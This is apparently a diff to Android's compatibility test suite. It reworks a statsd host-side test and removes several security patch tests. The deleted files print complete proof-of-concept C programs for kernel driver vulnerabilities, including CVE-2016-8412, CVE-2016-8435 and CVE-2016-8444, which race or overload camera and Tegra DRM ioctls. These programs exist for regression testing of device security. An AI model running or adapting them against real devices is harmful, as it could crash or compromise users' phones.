+ ScreenStateChanged.State.STATE_OFF_VALUE)
+ )));
+ configBuilder.addAtomMatcher(
+ AtomMatcher.newBuilder()
+ .setName("UID_PROCESS_STATE_CHANGED")
+ .setSimpleAtomMatcher(
+ SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER)));
+ // up to 110 is fine. 128 not good
+ configBuilder.addAtomMatcher(
+ AtomMatcher.newBuilder()
+ .setName("KERNEL_WAKELOCK_PULLED")
+ .setSimpleAtomMatcher(
+ SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.KERNEL_WAKELOCK_PULLED_FIELD_NUMBER)));
+ configBuilder
+ .addCondition(Condition.newBuilder().setName("SCREEN_IS_ON").setSimpleCondition(
+ SimpleCondition.newBuilder().setStart("SCREEN_TURNED_ON")
+ .setStop("SCREEN_TURNED_OFF")));
+ return configBuilder;
+ }
+
+ private void removeConfig(String configName) throws Exception {
+ getDevice().executeShellCommand(
+ String.join(" ", REMOVE_CONFIG_CMD, CONFIG_UID, configName));
+ }
+
+ private ConfigMetricsReportList getReportList() throws Exception {
+ ConfigMetricsReportList reportList = getDump(ConfigMetricsReportList.parser(),
+ String.join(" ", DUMP_REPORT_CMD, CONFIG_UID, CONFIG_NAME, "--proto"));
+ LogUtil.CLog.d("get report list as following:\n" + reportList.toString());
+ return reportList;
+ }
+
+ private void turnScreenOn() throws Exception {
getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
getDevice().executeShellCommand("wm dismiss-keyguard");
- // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
}
- protected void testScreenOff() throws Exception {
+ private void turnScreenOff() throws Exception {
getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
- // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
}
- public void testAlarms() throws Exception {
- installTestApp();
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsAlarmTest", "testAlarms");
- // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
- }
-
- public void testWakeLock() throws Exception {
- installTestApp();
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsWakeLockTests",
- "testHoldShortWakeLock");
- // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
+ private void rebootDevice() throws Exception {
+ getDevice().rebootUntilOnline();
}
private void startSimpleActivity() throws Exception {
@@ -102,70 +388,20 @@
// TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
}
- public void testUnoptimizedBleScans() throws Exception {
- if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
- installTestApp();
- executeBackground(ACTION_BLE_SCAN_UNOPTIMIZED, 40_000);
- // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
- }
-
-
- public void testOptimizedBleScans() throws Exception {
- if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
- installTestApp();
- executeBackground(ACTION_BLE_SCAN_OPTIMIZED, 40_000);
- // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
- }
-
- public void testGpsUpdates() throws Exception {
- if (!hasFeature(FEATURE_LOCATION_GPS, true)) return;
- installTestApp();
- // Whitelist this app against background location request throttling
- getDevice().executeShellCommand(String.format(
- "settings put global location_background_throttle_package_whitelist %s",
- DEVICE_SIDE_TEST_PACKAGE));
-
- executeBackground(ACTION_GPS, 60_000);
- // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
- }
-
- public void testJob() throws Exception {
- installTestApp();
- executeBackground(ACTION_JOB_SCHEDULE, 60_000);
- // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
- }
-
- public void testSync() throws Exception {
- installTestApp();
- executeBackground(ACTION_SYNC, 60_000);
- // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
- }
-
- public void testWifiScan() throws Exception {
- if (!hasFeature(FEATURE_WIFI, true)) return;
- installTestApp();
- // Whitelist this app against background wifi scan throttling
- getDevice().executeShellCommand(String.format(
- "settings put global wifi_scan_background_throttle_package_whitelist %s",
- DEVICE_SIDE_TEST_PACKAGE));
-
- executeBackground(ACTION_WIFI_SCAN, 120_000);
- // TODO: assertTrue() on something pulled from statsd report using getStatsOutput
- }
-
private void installTestApp() throws Exception {
installPackage(DEVICE_SIDE_TEST_APK, true);
}
- /**
- * TODO: Update this.
- */
- private int getStatsOutput() throws Exception {
- int uid = getUid();
- String statsdOutput = getDevice().executeShellCommand(
- /* TODO: */"dumpsys batterystats --checkin");
- // TODO: Extract something of interest from statsdOutput using the function's arguments.
- return 1;
+ private String getCurrentLogcatDate() throws Exception {
+ // TODO: Do something more robust than this for getting logcat markers.
+ long timestampSecs = getDevice().getDeviceDate();
+ return new SimpleDateFormat("MM-dd HH:mm:ss.SSS")
+ .format(new Date(timestampSecs * 1000L));
+ }
+
+ private String getLogcatSince(String date, String logcatParams) throws Exception {
+ return getDevice().executeShellCommand(String.format(
+ "logcat -v threadtime -t '%s' -d %s", date, logcatParams));
}
// TODO: All the following code is entirely taken verbatim from BatteryStatsValidationTest.
@@ -185,12 +421,14 @@
/**
* Runs a (background) service to perform the given action, and waits for
* the device to report that the action has finished (via a logcat message) before returning.
+ *
* @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
* action to perform.
- * @param maxTimeMs max time to wait (in ms) for action to report that it has completed.
+ * @param maxTimeMs max time to wait (in ms) for action to report that it has completed.
* @return A string, representing a random integer, assigned to this particular request for the
- * device to perform the given action. This value can be used to receive
- * communications via logcat from the device about this action.
+ * device to perform the given action. This value can be used to receive communications via
+ * logcat
+ * from the device about this action.
*/
private String executeBackground(String actionValue, int maxTimeMs) throws Exception {
String requestCode = executeBackground(actionValue);
@@ -201,11 +439,13 @@
/**
* Runs a (background) service to perform the given action.
+ *
* @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
* action to perform.
* @return A string, representing a random integer, assigned to this particular request for the
- * device to perform the given action. This value can be used to receive
- * communications via logcat from the device about this action.
+ * device to perform the given action. This value can be used to receive communications via
+ * logcat
+ * from the device about this action.
*/
private String executeBackground(String actionValue) throws Exception {
allowBackgroundServices();
@@ -218,7 +458,9 @@
return requestCode;
}
- /** Required to successfully start a background service from adb in O. */
+ /**
+ * Required to successfully start a background service from adb in O.
+ */
private void allowBackgroundServices() throws Exception {
getDevice().executeShellCommand(String.format(
"cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
@@ -226,13 +468,16 @@
/**
* Runs an activity (in the foreground) to perform the given action, and waits
- * for the device to report that the action has finished (via a logcat message) before returning.
+ * for the device to report that the action has finished (via a logcat message) before
+ * returning.
+ *
* @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
* action to perform.
- * @param maxTimeMs max time to wait (in ms) for action to report that it has completed.
+ * @param maxTimeMs max time to wait (in ms) for action to report that it has completed.
* @return A string, representing a random integer, assigned to this particular request for the
- * device to perform the given action. This value can be used to receive
- * communications via logcat from the device about this action.
+ * device to perform the given action. This value can be used to receive communications via
+ * logcat
+ * from the device about this action.
*/
private String executeForeground(String actionValue, int maxTimeMs) throws Exception {
String requestCode = executeForeground(actionValue);
@@ -243,11 +488,13 @@
/**
* Runs an activity (in the foreground) to perform the given action.
+ *
* @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
* action to perform.
* @return A string, representing a random integer, assigned to this particular request for the
- * device to perform the given action. This value can be used to receive
- * communications via logcat from the device about this action.
+ * device to perform the given action. This value can be used to receive communications via
+ * logcat
+ * from the device about this action.
*/
private String executeForeground(String actionValue) throws Exception {
String requestCode = Integer.toString(new Random().nextInt());
@@ -261,18 +508,19 @@
/**
* The string that will be printed in the logcat when the action completes. This needs to be
- * identical to {@link com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions#tellHostActionFinished}.
+ * identical to
+ * {@link com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions#tellHostActionFinished}.
*/
private String getCompletedActionString(String actionValue, String requestCode) {
return String.format("Completed performing %s for request %s", actionValue, requestCode);
}
/**
- * Runs logcat and waits (for a maximumum of maxTimeMs) until the desired text is displayed with
- * the given tag.
- * Logcat is not cleared, so make sure that text is unique (won't get false hits from old data).
- * Note that, in practice, the actual max wait time seems to be about 10s longer than maxTimeMs.
- */
+ * Runs logcat and waits (for a maximumum of maxTimeMs) until the desired text is displayed with
+ * the given tag.
+ * Logcat is not cleared, so make sure that text is unique (won't get false hits from old data).
+ * Note that, in practice, the actual max wait time seems to be about 10s longer than maxTimeMs.
+ */
private void checkLogcatForText(String logcatTag, String text, int maxTimeMs) {
IShellOutputReceiver receiver = new IShellOutputReceiver() {
private final StringBuilder mOutputBuffer = new StringBuilder();
@@ -338,4 +586,5 @@
}
return hasIt;
}
+
}
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index d4cf524..052e976 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -17,15 +17,8 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
- <option name="push" value="CVE-2016-8412->/data/local/tmp/CVE-2016-8412" />
- <option name="push" value="CVE-2016-8444->/data/local/tmp/CVE-2016-8444" />
- <option name="push" value="CVE-2016-8448->/data/local/tmp/CVE-2016-8448" />
- <option name="push" value="CVE-2016-8449->/data/local/tmp/CVE-2016-8449" />
<option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
- <option name="push" value="CVE-2017-0403->/data/local/tmp/CVE-2017-0403" />
- <option name="push" value="CVE-2017-0404->/data/local/tmp/CVE-2017-0404" />
<option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
- <option name="push" value="CVE-2017-0429->/data/local/tmp/CVE-2017-0429" />
<option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
<option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
<option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
@@ -43,8 +36,6 @@
<option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
<option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
<option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
- <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
- <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
<option name="push" value="Bug-34328139->/data/local/tmp/Bug-34328139" />
<option name="push" value="Bug-33452365->/data/local/tmp/Bug-33452365" />
<option name="push" value="CVE-2017-0451->/data/local/tmp/CVE-2017-0451" />
@@ -59,14 +50,11 @@
<option name="push" value="CVE-2017-0586->/data/local/tmp/CVE-2017-0586" />
<option name="push" value="CVE-2017-0705->/data/local/tmp/CVE-2017-0705" />
<option name="push" value="CVE-2017-8263->/data/local/tmp/CVE-2017-8263" />
+
<!--__________________-->
<!-- Bulletin 2017-01 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-8457->/data/local/tmp/CVE-2016-8457" />
- <option name="push" value="CVE-2016-8456->/data/local/tmp/CVE-2016-8456" />
- <option name="push" value="CVE-2016-8455->/data/local/tmp/CVE-2016-8455" />
-
<!--__________________-->
<!-- Bulletin 2017-02 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
deleted file mode 100644
index e2a1c73..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8412
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
deleted file mode 100644
index d438b40..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <signal.h>
-
-#define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6
-#define MSM_SD_SHUTDOWN 0xc00856dd
-
-int fd;
-
-
-int main() {
- long i;
- int pid;
- pthread_t th[6];
- int argn[50] = {0};
-
- fd = open("/dev/v4l-subdev7", 0x0ul );
-
-
- argn[0] = 7;
- syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
- pid = fork();
- if(!pid){
- argn[0] = 1;
- while(1){
- usleep(10);
- syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
- }
- }
- i = 0;
- while(1){
- i++;
- argn[0] = 7;
- syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
- usleep(100);
-
- argn[0] = 0;
- syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0);
-
- }
-
- close(fd);
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
deleted file mode 100644
index 46920cf..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8435
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-braces -Wno-missing-field-initializers
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h b/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
deleted file mode 100644
index 70574fe..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __local_pwn_H__
-#define __local_pwn_H__
-
-#define SIOCIWFIRSTPRIV 0x8BE0
-#define SIOCGIWNAME 0x8B01
-#define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11)
-#define PRIV_CUSTOM_BWCS_CMD 13
-#define PRIV_CMD_OID 15
-#define PRIV_CMD_SW_CTRL 20
-#define PRIV_CMD_WSC_PROBE_REQ 22
-
-enum host1x_class {
- HOST1X_CLASS_HOST1X = 0x1,
- HOST1X_CLASS_NVENC = 0x21,
- HOST1X_CLASS_VI = 0x30,
- HOST1X_CLASS_ISPA = 0x32,
- HOST1X_CLASS_ISPB = 0x34,
- HOST1X_CLASS_GR2D = 0x51,
- HOST1X_CLASS_GR2D_SB = 0x52,
- HOST1X_CLASS_VIC = 0x5D,
- HOST1X_CLASS_GR3D = 0x60,
- HOST1X_CLASS_NVJPG = 0xC0,
- HOST1X_CLASS_NVDEC = 0xF0,
-};
-
-#define DRM_COMMAND_BASE 0x40
-#define DRM_COMMAND_END 0xA0
-
-#define DRM_TEGRA_OPEN_CHANNEL 0x05
-#define DRM_TEGRA_CLOSE_CHANNEL 0x06
-#define DRM_TEGRA_SUBMIT 0x08
-
-struct drm_tegra_open_channel {
- __u32 client;
- __u32 pad;
- __u64 context;
-};
-
-struct drm_tegra_close_channel {
- __u64 context;
-};
-
-struct drm_tegra_submit {
- __u64 context;
- __u32 num_syncpts;
- __u32 num_cmdbufs;
- __u32 num_relocs;
- __u32 num_waitchks;
- __u32 waitchk_mask;
- __u32 timeout;
- __u64 syncpts;
- __u64 cmdbufs;
- __u64 relocs;
- __u64 waitchks;
- __u32 fence; /* Return value */
- __u32 reserved0;
- __u64 fences;
- __u32 reserved1[2]; /* future expansion */
-};
-
-#define DRM_IOCTL_BASE 'd'
-#define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type)
-#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
-
-struct drm_tegra_syncpt {
- __u32 id;
- __u32 incrs;
-};
-
-struct list_head {
- struct list_head *next, *prev;
-};
-
-struct tegra_drm_client_ops {
- void* open_channel;
- void* close_channel;
- void* reset;
- void* is_add_reg;
- void* submit;
-};
-
-struct tegra_drm_client {
- /* sizeof(host1x_client) is 232 */
- unsigned char pad[232]; /* maybe gadget arguments */
- struct list_head list;
- struct tegra_drm_client_ops *ops;
-};
-
-struct tegra_drm_context {
- struct tegra_drm_client *client;
- void *channel;
- struct list_head list;
- /* FIXME we need pass lock op */
- //struct mutex lock;
- //bool keepon;
- //struct host1x_user user;
-};
-
-#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
deleted file mode 100644
index ff6acb0..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <sys/syscall.h>
-
-#include "local_pwn.h"
-
-#define DEV "/dev/dri/renderD129"
-#define SYN_NUM 64
-
-struct drm_tegra_open_channel open_c = { 0 };
-struct drm_tegra_submit submit_c = { 0 };
-struct drm_tegra_syncpt syncpts[SYN_NUM] = { 0 };
-
-int main()
-{
- int ret;
- int dev_fd;
- int i;
-
- /* open dev */
- dev_fd = open(DEV,O_RDONLY);
- if(dev_fd == -1){
- printf("[-] open dev failed %d %s\n", errno, strerror(errno));
- return 0;
- }
-
- /* prepare for ioctl */
- open_c.client = HOST1X_CLASS_VIC;
- submit_c.num_syncpts = SYN_NUM;
- submit_c.syncpts = (__u64)syncpts;
-
- for(i = 1; i < SYN_NUM; i++){
- syncpts[i].id = 192;
- syncpts[i].incrs = 0xffff;
- }
-
- /* open channel */
- ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
- if(ret == -1){
- printf("[-] open_channel failed %d %s\n", errno, strerror(errno));
- goto out_dev;
- }
- submit_c.context = open_c.context;
- printf("[+] call submit\n");
- ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
- printf("[+] submit return %d\n", ret);
-
-out_dev:
- close(dev_fd);
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
deleted file mode 100644
index 531a3d1..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8444
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
deleted file mode 100644
index d681a43..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <unistd.h>
-#include <fcntl.h>
-#include <sys/syscall.h>
-#include <stdio.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-
-#define MSM_SD_SHUTDOWN 0xc00856dd
-#define VIDIOC_MSM_ISPIF_CFG 0xc17056c0
-
-struct ispif_cfg_data {
- int32_t cfg_type;
- union {
- int reg_dump; /* ISPIF_ENABLE_REG_DUMP */
- uint32_t csid_version; /* ISPIF_INIT */
- //struct msm_ispif_vfe_info vfe_info; /* ISPIF_SET_VFE_INFO */
- //struct msm_ispif_param_data params; /* CFG, START, STOP */
- };
-};
-
-long r[11];
-
-int fd;
-struct ispif_cfg_data data;
-
-void *worker_thread(void *arg) {
-
- int arg1[3] = {0};
- switch ((long)arg) {
- case 0:
- data.cfg_type = 8; ////release
- ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
- break;
- case 1:
- ioctl(fd, MSM_SD_SHUTDOWN, &arg1);
- break;
- }
- return NULL;
-}
-
-int main() {
-
- int pid,i;
- pthread_t th[4];
- fd = open( "/dev/v4l-subdev17", 0x0ul );
-
- printf("please wait for several seconds...\n");
-
- while(1){
-
- data.cfg_type = 2; ////init
- data.csid_version = 1;
- ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
-
- for (i = 0; i < 2; i++) {
- pthread_create(&th[i], 0, worker_thread, (void *)(long)i);
- usleep(10);
- }
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
deleted file mode 100644
index 01ffa37..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8448
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
deleted file mode 100644
index b33073c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
+++ /dev/null
@@ -1,397 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_H
-#define __MTKFB_H
-
-#include <linux/types.h>
-#include "mtkfb_info.h"
-
-
-/**NOTICE:
- * Must be consistent with bionic/libc/kernel/linux/common/mtkfb.h
- */
-#define MTK_FB_NO_ION_FD ((int)(~0U>>1))
-#define MTK_FB_NO_USE_LAEYR_ID ((int)(~0U>>1))
-#define FBCAPS_GENERIC_MASK (0x00000fff)
-#define FBCAPS_LCDC_MASK (0x00fff000)
-#define FBCAPS_PANEL_MASK (0xff000000)
-#define FBCAPS_MANUAL_UPDATE (0x00001000)
-#define FBCAPS_SET_BACKLIGHT (0x01000000)
-#define MTKFB_ERROR_IS_EARLY_SUSPEND (0x12000000)
-/* --------------------------------------------------------------------------- */
-/* IOCTL commands. */
-#define MTK_IOW(num, dtype) _IOW('O', num, dtype)
-#define MTK_IOR(num, dtype) _IOR('O', num, dtype)
-#define MTK_IOWR(num, dtype) _IOWR('O', num, dtype)
-#define MTK_IO(num) _IO('O', num)
-#define MTKFB_QUEUE_OVERLAY_CONFIG MTK_IOW(137, struct fb_overlay_config)
-/* -------------------------------------------------------------------------- */
-#define MTKFB_SET_OVERLAY_LAYER MTK_IOW(0, struct fb_overlay_layer)
-#define MTKFB_TRIG_OVERLAY_OUT MTK_IO(1)
